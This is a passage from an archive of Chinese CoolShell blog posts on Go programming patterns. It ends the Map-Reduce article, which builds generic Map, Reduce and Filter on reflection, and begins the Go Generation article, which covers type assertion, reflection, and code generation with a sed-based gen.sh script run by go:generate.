{\n    return n &gt; 5\n})\nfmt.Printf(\"%v\\n\", out)\n</pre>\n<p>下图是一个比喻，其非常形象地说明了Map-Reduce是的业务语义，其在数据处理中非常有用。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-21169\" height=\"442\" src=\"../wp-content/uploads/2020/12/map-reduce.png\" width=\"794\"/></p>\n<h4>业务示例</h4>\n<p>通过上面的一些示例，你可能有一些明白，Map/Reduce/Filter只是一种控制逻辑，真正的业务逻辑是在传给他们的数据和那个函数来定义的。是的，这是一个很经典的“业务逻辑”和“控制逻辑”分离解耦的编程模式。下面我们来看一个有业务意义的代码，来让大家强化理解一下什么叫“控制逻辑”与业务逻辑分离。</p>\n<h5>员工信息</h5>\n<p>首先，我们一个员工对象，以及一些数据</p>\n<pre class=\"EnlighterJSRAW\">type Employee struct {\n    Name     string\n    Age      int\n    Vacation int\n    Salary   int\n}\n\nvar list = []Employee{\n    {\"Hao\", 44, 0, 8000},\n    {\"Bob\", 34, 10, 5000},\n    {\"Alice\", 23, 5, 9000},\n    {\"Jack\", 26, 0, 4000},\n    {\"Tom\", 48, 9, 7500},\n    {\"Marry\", 29, 0, 6000},\n    {\"Mike\", 32, 8, 4000},\n}</pre>\n<h5>相关的Reduce/Fitler函数</h5>\n<p>然后，我们有如下的几个函数：</p>\n<pre class=\"EnlighterJSRAW\">func EmployeeCountIf(list []Employee, fn func(e *Employee) bool) int {\n    count := 0\n    for i, _ := range list {\n        if fn(&amp;list[i]) {\n            count += 1\n        }\n    }\n    return count\n}\n\nfunc EmployeeFilterIn(list []Employee, fn func(e *Employee) bool) []Employee {\n    var newList []Employee\n    for i, _ := range list {\n        if fn(&amp;list[i]) {\n            newList = append(newList, list[i])\n        }\n    }\n    return newList\n}\n\nfunc EmployeeSumIf(list []Employee, fn func(e *Employee) int) int {\n    var sum = 0\n    for i, _ := range list {\n        sum += fn(&amp;list[i])\n    }\n    return sum\n}</pre>\n<p>简单说明一下：</p>\n<ul>\n<li><code>EmployeeConutIf</code> 和 <code>EmployeeSumIf</code> 分别用于统满足某个条件的个数或总数。它们都是Filter + Reduce的语义。</li>\n<li><code>EmployeeFilterIn</code> 就是按某种条件过虑。就是Fitler的语义。</li>\n</ul>\n<h5>各种自定义的统计示例</h5>\n<p>于是我们就可以有如下的代码。</p>\n<p><strong>1）统计有多少员工大于40岁</strong></p>\n<pre class=\"EnlighterJSRAW\">old := EmployeeCountIf(list, func(e *Employee) bool {\n    return e.Age &gt; 40\n})\nfmt.Printf(\"old people: %d\\n\", old)\n//old people: 2\n</pre>\n<p><strong>2）统计有多少员工薪水大于6000</strong></p>\n<pre class=\"EnlighterJSRAW\">high_pay := EmployeeCountIf(list, func(e *Employee) bool {\n    return e.Salary &gt;= 6000\n})\nfmt.Printf(\"High Salary people: %d\\n\", high_pay)\n//High Salary people: 4\n</pre>\n<p><strong>3）列出有没有休假的员工</strong></p>\n<pre class=\"EnlighterJSRAW\">no_vacation := EmployeeFilterIn(list, func(e *Employee) bool {\n    return e.Vacation == 0\n})\nfmt.Printf(\"People no vacation: %v\\n\", no_vacation)\n//People no vacation: [{Hao 44 0 8000} {Jack 26 0 4000} {Marry 29 0 6000}]\n</pre>\n<p><strong>4）统计所有员工的薪资总和</strong></p>\n<pre class=\"EnlighterJSRAW\">total_pay := EmployeeSumIf(list, func(e *Employee) int {\n    return e.Salary\n})\n\nfmt.Printf(\"Total Salary: %d\\n\", total_pay)\n//Total Salary: 43500\n</pre>\n<p><strong>5）统计30岁以下员工的薪资总和</strong></p>\n<pre class=\"EnlighterJSRAW\">younger_pay := EmployeeSumIf(list, func(e *Employee) int {\n    if e.Age &lt; 30 {\n        return e.Salary\n    } \n    return 0\n})</pre>\n<h4>泛型Map-Reduce</h4>\n<p>我们可以看到，上面的Map-Reduce都因为要处理数据的类型不同而需要写出不同版本的Map-Reduce，虽然他们的代码看上去是很类似的。所以，这里就要带出来泛型编程了，Go语言在本文写作的时候还不支持泛型（注：Go开发团队技术负责人Russ Cox在2012年11月21golang-dev上的mail确认了Go泛型(type parameter)将在Go 1.18版本落地，即2022.2月份）。</p>\n<h5>简单版 Generic Map</h5>\n<p>所以，目前的Go语言的泛型只能用 <code>interface{}</code> + <code>reflect</code>来完成，<code>interface{}</code> 可以理解为C中的 <code>void*</code>，Java中的 <code>Object</code> ，<code>reflect</code>是Go的反射机制包，用于在运行时检查类型。</p>\n<p>下面我们来看一下一个非常简单不作任何类型检查的泛型的Map函数怎么写。</p>\n<pre class=\"EnlighterJSRAW\">func Map(data interface{}, fn interface{}) []interface{} {\n    vfn := reflect.ValueOf(fn)\n    vdata := reflect.ValueOf(data)\n    result := make([]interface{}, vdata.Len())\n\n    for i := 0; i &lt; vdata.Len(); i++ {\n        result[i] = vfn.Call([]reflect.Value{vdata.Index(i)})[0].Interface()\n    }\n    return result\n}</pre>\n<p>上面的代码中，</p>\n<ul>\n<li>通过 <code>reflect.ValueOf()</code> 来获得 <code>interface{}</code> 的值，其中一个是数据 <code>vdata</code>，另一个是函数 <code>vfn</code>，</li>\n<li>然后通过 <code>vfn.Call()</code> 方法来调用函数，通过 <code>[]refelct.Value{vdata.Index(i)}</code>来获得数据。</li>\n</ul>\n<p>Go语言中的反射的语法还是有点令人费解的，但是简单看一下手册还是能够读懂的。我这篇文章不讲反射，所以相关的基础知识还请大家自行Google相关的教程。</p>\n<p>于是，我们就可以有下面的代码——不同类型的数据可以使用相同逻辑的<code>Map()</code>代码。</p>\n<pre class=\"EnlighterJSRAW\">square := func(x int) int {\n  return x * x\n}\nnums := []int{1, 2, 3, 4}\n\nsquared_arr := Map(nums,square)\nfmt.Println(squared_arr)\n//[1 4 9 16]\n\n\n\nupcase := func(s string) string {\n  return strings.ToUpper(s)\n}\nstrs := []string{\"Hao\", \"Chen\", \"MegaEase\"}\nupstrs := Map(strs, upcase);\nfmt.Println(upstrs)\n//[HAO CHEN MEGAEASE]</pre>\n<p>但是因为反射是运行时的事，所以，如果类型什么出问题的话，就会有运行时的错误。比如：</p>\n<pre class=\"EnlighterJSRAW\">x := Map(5, 5)\nfmt.Println(x)</pre>\n<p>上面的代码可以很轻松的编译通过，但是在运行时就出问题了，还是panic错误……</p>\n<pre class=\"EnlighterJSRAW\">panic: reflect: call of reflect.Value.Len on int Value\n\ngoroutine 1 [running]:\nreflect.Value.Len(0x10b5240, 0x10eeb58, 0x82, 0x10716bc)\n        /usr/local/Cellar/go/1.15.3/libexec/src/reflect/value.go:1162 +0x185\nmain.Map(0x10b5240, 0x10eeb58, 0x10b5240, 0x10eeb60, 0x1, 0x14, 0x0)\n        /Users/chenhao/.../map.go:12 +0x16b\nmain.main()\n        /Users/chenhao/.../map.go:42 +0x465\nexit status 2</pre>\n<h5>健壮版的Generic Map</h5>\n<p>所以，如果要写一个健壮的程序，对于这种用<code>interface{}</code> 的“过度泛型”，就需要我们自己来做类型检查。下面是一个有类型检查的Map代码：</p>\n<pre class=\"EnlighterJSRAW\">func Transform(slice, function interface{}) interface{} {\n  return transform(slice, function, false)\n}\n\nfunc TransformInPlace(slice, function interface{}) interface{} {\n  return transform(slice, function, true)\n}\n\nfunc transform(slice, function interface{}, inPlace bool) interface{} {\n \n  //check the <code class=\"EnlighterJSRAW\">slice</code> type is Slice\n  sliceInType := reflect.ValueOf(slice)\n  if sliceInType.Kind() != reflect.Slice {\n    panic(\"transform: not slice\")\n  }\n\n  //check the function signature\n  fn := reflect.ValueOf(function)\n  elemType := sliceInType.Type().Elem()\n  if !verifyFuncSignature(fn, elemType, nil) {\n    panic(\"trasform: function must be of type func(\" + sliceInType.Type().Elem().String() + \") outputElemType\")\n  }\n\n  sliceOutType := sliceInType\n  if !inPlace {\n    sliceOutType = reflect.MakeSlice(reflect.SliceOf(fn.Type().Out(0)), sliceInType.Len(), sliceInType.Len())\n  }\n  for i := 0; i &lt; sliceInType.Len(); i++ {\n    sliceOutType.Index(i).Set(fn.Call([]reflect.Value{sliceInType.Index(i)})[0])\n  }\n  return sliceOutType.Interface()\n\n}\n\nfunc verifyFuncSignature(fn reflect.Value, types ...reflect.Type) bool {\n\n  //Check it is a funciton\n  if fn.Kind() != reflect.Func {\n    return false\n  }\n  // NumIn() - returns a function type's input parameter count.\n  // NumOut() - returns a function type's output parameter count.\n  if (fn.Type().NumIn() != len(types)-1) || (fn.Type().NumOut() != 1) {\n    return false\n  }\n  // In() - returns the type of a function type's i'th input parameter.\n  for i := 0; i &lt; len(types)-1; i++ {\n    if fn.Type().In(i) != types[i] {\n      return false\n    }\n  }\n  // Out() - returns the type of a function type's i'th output parameter.\n  outType := types[len(types)-1]\n  if outType != nil &amp;&amp; fn.Type().Out(0) != outType {\n    return false\n  }\n  return true\n}\n</pre>\n<p>上面的代码一下子就复杂起来了，可见，复杂的代码都是在处理异常的地方。我不打算Walk through 所有的代码，别看代码多，但是还是可以读懂的，下面列几个代码中的要点：</p>\n<ul>\n<li>代码中没有使用Map函数，因为和数据结构和关键有含义冲突的问题，所以使用<code>Transform</code>，这个来源于 C++ STL库中的命名。</li>\n<li>有两个版本的函数，一个是返回一个全新的数组 – <code>Transform()</code>，一个是“就地完成” – <code>TransformInPlace()</code></li>\n<li>在主函数中，用 <code>Kind()</code> 方法检查了数据类型是不是 Slice，函数类型是不是Func</li>\n<li>检查函数的参数和返回类型是通过 <code>verifyFuncSignature()</code> 来完成的，其中：\n<ul>\n<li><code>NumIn()</code> – 用来检查函数的“入参”</li>\n<li> <code>NumOut()</code> 用来检查函数的“返回值”</li>\n</ul>\n</li>\n<li>如果需要新生成一个Slice，会使用 <code>reflect.MakeSlice()</code> 来完成。</li>\n</ul>\n<p>好了，有了上面的这段代码，我们的代码就很可以很开心的使用了：</p>\n<p>可以用于字符串数组</p>\n<pre class=\"EnlighterJSRAW\">list := []string{\"1\", \"2\", \"3\", \"4\", \"5\", \"6\"}\nresult := Transform(list, func(a string) string{\n    return a +a +a\n})\n//{\"111\",\"222\",\"333\",\"444\",\"555\",\"666\"}\n</pre>\n<p>可以用于整形数组</p>\n<pre class=\"EnlighterJSRAW\">list := []int{1, 2, 3, 4, 5, 6, 7, 8, 9}\nTransformInPlace(list, func (a int) int {\n  return a*3\n})\n//{3, 6, 9, 12, 15, 18, 21, 24, 27}\n</pre>\n<p>可以用于结构体</p>\n<pre class=\"EnlighterJSRAW\">var list = []Employee{\n    {\"Hao\", 44, 0, 8000},\n    {\"Bob\", 34, 10, 5000},\n    {\"Alice\", 23, 5, 9000},\n    {\"Jack\", 26, 0, 4000},\n    {\"Tom\", 48, 9, 7500},\n}\n\nresult := TransformInPlace(list, func(e Employee) Employee {\n    e.Salary += 1000\n    e.Age += 1\n    return e\n})</pre>\n<h5>健壮版的 Generic Reduce</h5>\n<p>同样，泛型版的 Reduce 代码如下：</p>\n<pre class=\"EnlighterJSRAW\">func Reduce(slice, pairFunc, zero interface{}) interface{} {\n  sliceInType := reflect.ValueOf(slice)\n  if sliceInType.Kind() != reflect.Slice {\n    panic(\"reduce: wrong type, not slice\")\n  }\n\n  len := sliceInType.Len()\n  if len == 0 {\n    return zero\n  } else if len == 1 {\n    return sliceInType.Index(0)\n  }\n\n  elemType := sliceInType.Type().Elem()\n  fn := reflect.ValueOf(pairFunc)\n  if !verifyFuncSignature(fn, elemType, elemType, elemType) {\n    t := elemType.String()\n    panic(\"reduce: function must be of type func(\" + t + \", \" + t + \") \" + t)\n  }\n\n  var ins [2]reflect.Value\n  ins[0] = sliceInType.Index(0)\n  ins[1] = sliceInType.Index(1)\n  out := fn.Call(ins[:])[0]\n\n  for i := 2; i &lt; len; i++ {\n    ins[0] = out\n    ins[1] = sliceInType.Index(i)\n    out = fn.Call(ins[:])[0]\n  }\n  return out.Interface()\n}</pre>\n<h5>健壮版的 Generic Filter</h5>\n<p>同样，泛型版的 Filter 代码如下（同样分是否“就地计算”的两个版本）：</p>\n<pre class=\"EnlighterJSRAW\">func Filter(slice, function interface{}) interface{} {\n  result, _ := filter(slice, function, false)\n  return result\n}\n\nfunc FilterInPlace(slicePtr, function interface{}) {\n  in := reflect.ValueOf(slicePtr)\n  if in.Kind() != reflect.Ptr {\n    panic(\"FilterInPlace: wrong type, \" +\n      \"not a pointer to slice\")\n  }\n  _, n := filter(in.Elem().Interface(), function, true)\n  in.Elem().SetLen(n)\n}\n\nvar boolType = reflect.ValueOf(true).Type()\n\nfunc filter(slice, function interface{}, inPlace bool) (interface{}, int) {\n\n  sliceInType := reflect.ValueOf(slice)\n  if sliceInType.Kind() != reflect.Slice {\n    panic(\"filter: wrong type, not a slice\")\n  }\n\n  fn := reflect.ValueOf(function)\n  elemType := sliceInType.Type().Elem()\n  if !verifyFuncSignature(fn, elemType, boolType) {\n    panic(\"filter: function must be of type func(\" + elemType.String() + \") bool\")\n  }\n\n  var which []int\n  for i := 0; i &lt; sliceInType.Len(); i++ {\n    if fn.Call([]reflect.Value{sliceInType.Index(i)})[0].Bool() {\n      which = append(which, i)\n    }\n  }\n\n  out := sliceInType\n\n  if !inPlace {\n    out = reflect.MakeSlice(sliceInType.Type(), len(which), len(which))\n  }\n  for i := range which {\n    out.Index(i).Set(sliceInType.Index(which[i]))\n  }\n\n  return out.Interface(), len(which)\n}</pre>\n<h4>后记</h4>\n<p>还有几个未尽事宜：</p>\n<p>1）使用反射来做这些东西，会有一个问题，<strong>那就是代码的性能会很差。所以，上面的代码不能用于你需要高性能的地方</strong>。怎么解决这个问题，我们会在本系列文章的下一篇文章中讨论。</p>\n<p>2）上面的代码大量的参考了 Rob Pike的版本，他的代码在 <a href=\"https://github.com/robpike/filter\" rel=\"noopener\" target=\"_blank\">https://github.com/robpike/filter</a></p>\n<p>3）其实，在全世界范围内，有大量的程序员都在问Go语言官方什么时候在标准库中支持 Map/Reduce，Rob Pike说，这种东西难写吗？还要我们官方来帮你们写么？这种代码我多少年前就写过了，但是，我从来一次都没有用过，我还是喜欢用“For循环”，我觉得你最好也跟我一起用 “For循环”。</p>\n<p>我个人觉得，Map/Reduce在数据处理的时候还是很有用的，Rob Pike可能平时也不怎么写“业务逻辑”的代码，所以，对他来说可能也不太了解业务的变化有多么的频繁……</p>\n<p>当然，好还是不好，由你来判断，但多学一些编程模式是对自己的帮助也是很有帮助的。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21146.html\"><img alt=\"Go 编程模式：Functional Options\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.options-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17929.html\"><img alt=\"Go编程模式：修饰器\" height=\"150\" src=\"../wp-content/uploads/2017/06/go-hardhat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21228.html\"><img alt=\"Go编程模式：Pipeline\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.line_.-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21214.html\"><img alt=\"Go编程模式：委托和反转控制\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.pair_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2020-12-25 Go 编程模式：Go Generation.html",
    "content": "<html><body><p><figure class=\"wp-caption alignright\" id=\"attachment_21254\" style=\"width: 296px;\"><img alt=\"\" class=\"wp-image-21254 size-medium\" height=\"300\" src=\"../wp-content/uploads/2020/12/go.generate-296x300.png\" width=\"296\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-21254\">图片来源：<a href=\"https://gophersource.com/\" rel=\"noopener\" target=\"_blank\">GopherSource</a></figcaption></figure></p>\n<p>在本篇文章中，我们将要学习一下Go语言的代码生成的玩法。Go语言代码生成主要还是用来解决编程泛型的问题，泛型编程主要解决的问题是因为静态类型语言有类型，所以，相关的算法或是对数据处理的程序会因为类型不同而需要复制一份，这样导致数据类型和算法功能耦合的问题。泛型编程可以解决这样的问题，就是说，在写代码的时候，不用关心处理数据的类型，只需要关心相当处理逻辑。泛型编程是静态语言中非常非常重要的特征，如果没有泛型，我们很难做到多态，也很难完成抽象，会导致我们的代码冗余量很大。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第6 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go 编程模式：Go Generation</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">« <a href=\"https://coolshell.cn/articles/21164.html\" rel=\"prev\" title=\"Go编程模式：Map-Reduce\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/17929.html\" rel=\"next\" title=\"Go编程模式：修饰器\">下一篇文章</a> »</span></nav></section>\n<h4>现实中的类比</h4>\n<p>举个现实当中的例子，用螺丝刀来做具比方，螺丝刀本来就是一个拧螺丝的动作，但是因为螺丝的类型太多，有平口的，有十字口的，有六角的……螺丝还有大小尺寸，导致我们的螺丝刀为了要适配各种千奇百怪的螺丝类型（样式和尺寸），导致要做出各种各样的螺丝刀。</p>\n<table>\n<tbody>\n<tr>\n<td><img alt=\"\" class=\"aligncenter wp-image-21180 size-medium\" height=\"225\" src=\"../wp-content/uploads/2020/12/type01-300x225.png\" width=\"300\"/></td>\n<td><img alt=\"\" class=\"aligncenter wp-image-21181 size-medium\" height=\"225\" src=\"../wp-content/uploads/2020/12/type02-300x225.png\" width=\"300\"/></td>\n</tr>\n</tbody>\n</table>\n<p>而真正的抽象是螺丝刀不应该关心螺丝的类型，只要关注好自己的功能是否完备，并让自己可以适配于不同类型的螺丝，如下所示，这就是所谓的泛型编程要解决的实际问题。</p>\n<p><span id=\"more-21179\"></span></p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"2\"><img alt=\"\" class=\"aligncenter wp-image-21182 size-medium\" height=\"226\" src=\"../wp-content/uploads/2020/12/type03-300x226.png\" width=\"300\"/></td>\n</tr>\n</tbody>\n</table>\n<h4>Go语方的类型检查</h4>\n<p>因为Go语言目前并不支持真正的泛型，所以，只能用 <code>interface{}</code> 这样的类似于 <code>void*</code> 这种过度泛型来玩这就导致了我们在实际过程中就需要进行类型检查。Go语言的类型检查有两种技术，一种是 Type Assert，一种是Reflection。</p>\n<h5>Type Assert</h5>\n<p>这种技术，一般是对某个变量进行 <code>.(type)</code>的转型操作，其会返回两个值， <code>variable, error</code>，第一个返回值是被转换好的类型，第二个是如果不能转换类型，则会报错。</p>\n<p>比如下面的示例，我们有一个通用类型的容器，可以进行 <code>Put(val)</code>和 <code>Get()</code>，注意，其使用了 <code>interface{}</code>作泛型</p>\n<pre class=\"EnlighterJSRAW\">//Container is a generic container, accepting anything.\ntype Container []interface{}\n\n//Put adds an element to the container.\nfunc (c *Container) Put(elem interface{}) {\n    *c = append(*c, elem)\n}\n//Get gets an element from the container.\nfunc (c *Container) Get() interface{} {\n    elem := (*c)[0]\n    *c = (*c)[1:]\n    return elem\n}</pre>\n<p>在使用中，我们可以这样使用</p>\n<pre class=\"EnlighterJSRAW\">intContainer := &amp;Container{}\nintContainer.Put(7)\nintContainer.Put(42)</pre>\n<p>但是，在把数据取出来时，因为类型是 <code>interface{}</code> ，所以，你还要做一个转型，如果转型成功能才能进行后续操作（因为 <code>interface{}</code>太泛了，泛到什么类型都可以放）下在是一个Type Assert的示例：</p>\n<pre class=\"EnlighterJSRAW\">// assert that the actual type is int\nelem, ok := intContainer.Get().(int)\nif !ok {\n    fmt.Println(\"Unable to read an int from intContainer\")\n}\n\nfmt.Printf(\"assertExample: %d (%T)\\n\", elem, elem)\n</pre>\n<h5>Reflection</h5>\n<p>对于反射，我们需要把上面的代码修改如下：</p>\n<pre class=\"EnlighterJSRAW\">type Container struct {\n    s reflect.Value\n}\nfunc NewContainer(t reflect.Type, size int) *Container {\n    if size &lt;=0  { size=64 }\n    return &amp;Container{\n        s: reflect.MakeSlice(reflect.SliceOf(t), 0, size), \n    }\n}\nfunc (c *Container) Put(val interface{})  error {\n    if reflect.ValueOf(val).Type() != c.s.Type().Elem() {\n        return fmt.Errorf(“Put: cannot put a %T into a slice of %s\", \n            val, c.s.Type().Elem()))\n    }\n    c.s = reflect.Append(c.s, reflect.ValueOf(val))\n    return nil\n}\nfunc (c *Container) Get(refval interface{}) error {\n    if reflect.ValueOf(refval).Kind() != reflect.Ptr ||\n        reflect.ValueOf(refval).Elem().Type() != c.s.Type().Elem() {\n        return fmt.Errorf(\"Get: needs *%s but got %T\", c.s.Type().Elem(), refval)\n    }\n    reflect.ValueOf(refval).Elem().Set( c.s.Index(0) )\n    c.s = c.s.Slice(1, c.s.Len())\n    return nil\n}</pre>\n<p>上面的代码并不难读，这是完全使用 reflection的玩法，其中</p>\n<ul>\n<li>在 <code>NewContainer()</code>会根据参数的类型初始化一个Slice</li>\n<li>在 <code>Put()</code>时候，会检查 <code>val</code> 是否和Slice的类型一致。</li>\n<li>在 <code>Get()</code>时，我们需要用一个入参的方式，因为我们没有办法返回 <code>reflect.Value</code> 或是 <code>interface{}</code>，不然还要做Type Assert</li>\n<li>但是有类型检查，所以，必然会有检查不对的道理 ，因此，需要返回 <code>error</code></li>\n</ul>\n<p>于是在使用上面这段代码的时候，会是下面这个样子：</p>\n<pre class=\"EnlighterJSRAW\">f1 := 3.1415926\nf2 := 1.41421356237\n\nc := NewMyContainer(reflect.TypeOf(f1), 16)\n\nif err := c.Put(f1); err != nil {\n  panic(err)\n}\nif err := c.Put(f2); err != nil {\n  panic(err)\n}\n\ng := 0.0\n\nif err := c.Get(&amp;g); err != nil {\n  panic(err)\n}\nfmt.Printf(\"%v (%T)\\n\", g, g) //3.1415926 (float64)\nfmt.Println(c.s.Index(0)) //1.4142135623</pre>\n<p>我们可以看到，Type Assert是不用了，但是用反射写出来的代码还是有点复杂的。那么有没有什么好的方法？</p>\n<h4>它山之石</h4>\n<p>对于泛型编程最牛的语言 C++ 来说，这类的问题都是使用 Template来解决的。</p>\n<table style=\"border: 0px;\">\n<tbody>\n<tr style=\"background: none;\">\n<td style=\"border: 0px;\">\n<pre class=\"EnlighterJSRAW\">//用&lt;class T&gt;来描述泛型\ntemplate &lt;class T&gt; \nT GetMax (T a, T b)  { \n    T result; \n    result = (a&gt;b)? a : b; \n    return (result); \n} \n</pre>\n</td>\n<td style=\"border: 0px;\">\n<pre class=\"EnlighterJSRAW\">int i=5, j=6, k; \n//生成int类型的函数\nk=GetMax&lt;int&gt;(i,j);\n \nlong l=10, m=5, n; \n//生成long类型的函数\nn=GetMax&lt;long&gt;(l,m); \n</pre>\n</td>\n</tr>\n</tbody>\n</table>\n<p>C++的编译器会在编译时分析代码，根据不同的变量类型来自动化的生成相关类型的函数或类。C++叫模板的具体化。</p>\n<p>这个技术是编译时的问题，所以，不需要我们在运行时进行任何的运行的类型识别，我们的程序也会变得比较的干净。</p>\n<p>那么，我们是否可以在Go中使用C++的这种技术呢？答案是肯定的，只是Go的编译器不帮你干，你需要自己动手。</p>\n<h4>Go Generator</h4>\n<p>要玩 Go的代码生成，你需要三件事：</p>\n<ol>\n<li>一个函数模板，其中设置好相应的占位符。</li>\n<li>一个脚本，用于按规则来替换文本并生成新的代码。</li>\n<li>一行注释代码。</li>\n</ol>\n<h5>函数模板</h5>\n<p>我们把我们之前的示例改成模板。取名为 <code>container.tmp.go</code> 放在 <code>./template/</code>下</p>\n<pre class=\"EnlighterJSRAW\">package PACKAGE_NAME\ntype GENERIC_NAMEContainer struct {\n    s []GENERIC_TYPE\n}\nfunc NewGENERIC_NAMEContainer() *GENERIC_NAMEContainer {\n    return &amp;GENERIC_NAMEContainer{s: []GENERIC_TYPE{}}\n}\nfunc (c *GENERIC_NAMEContainer) Put(val GENERIC_TYPE) {\n    c.s = append(c.s, val)\n}\nfunc (c *GENERIC_NAMEContainer) Get() GENERIC_TYPE {\n    r := c.s[0]\n    c.s = c.s[1:]\n    return r\n}</pre>\n<p>我们可以看到函数模板中我们有如下的占位符：</p>\n<ul>\n<li><code>PACKAGE_NAME</code> – 包名</li>\n<li><code>GENERIC_NAME</code> – 名字</li>\n<li><code>GENERIC_TYPE</code> – 实际的类型</li>\n</ul>\n<p>其它的代码都是一样的。</p>\n<h5>函数生成脚本</h5>\n<p>然后，我们有一个叫<code>gen.sh</code>的生成脚本，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">#!/bin/bash\n\nset -e\n\nSRC_FILE=${1}\nPACKAGE=${2}\nTYPE=${3}\nDES=${4}\n#uppcase the first char\nPREFIX=\"$(tr '[:lower:]' '[:upper:]' &lt;&lt;&lt; ${TYPE:0:1})${TYPE:1}\"\n\nDES_FILE=$(echo ${TYPE}| tr '[:upper:]' '[:lower:]')_${DES}.go\n\nsed 's/PACKAGE_NAME/'\"${PACKAGE}\"'/g' ${SRC_FILE} | \\\n    sed 's/GENERIC_TYPE/'\"${TYPE}\"'/g' | \\\n    sed 's/GENERIC_NAME/'\"${PREFIX}\"'/g' &gt; ${DES_FILE}</pre>\n<p>其需要4个参数：</p>\n<ul>\n<li>模板源文件</li>\n<li>包名</li>\n<li>实际需要具体化的类型</li>\n<li>用于构造目标文件名的后缀</li>\n</ul>\n<p>然后其会用 <code>sed</code> 命令去替换我们的上面的函数模板，并生成到目标文件中。（关于sed命令请参看本站的《<a href=\"https://coolshell.cn/articles/9104.html\" rel=\"noopener\" target=\"_blank\" title=\"sed 简明教程\">sed 简明教程</a>》）</p>\n<h5>生成代码</h5>\n<p>接下来，我们只需要在代码中打一个特殊的注释：</p>\n<pre class=\"EnlighterJSRAW\">//go:generate ./gen.sh ./template/container.tmp.go gen uint32 container\nfunc generateUint32Example() {\n    var u uint32 = 42\n    c := NewUint32Container()\n    c.Put(u)\n    v := c.Get()\n    fmt.Printf(\"generateExample: %d (%T)\\n\", v, v)\n}\n\n//go:generate ./gen.sh ./template/container.tmp.go gen string container\nfunc generateStringExample() {\n    var s string = \"Hello\"\n    c := NewStringContainer()\n    c.Put(s)\n    v := c.Get()\n    fmt.Printf(\"generateExample: %s 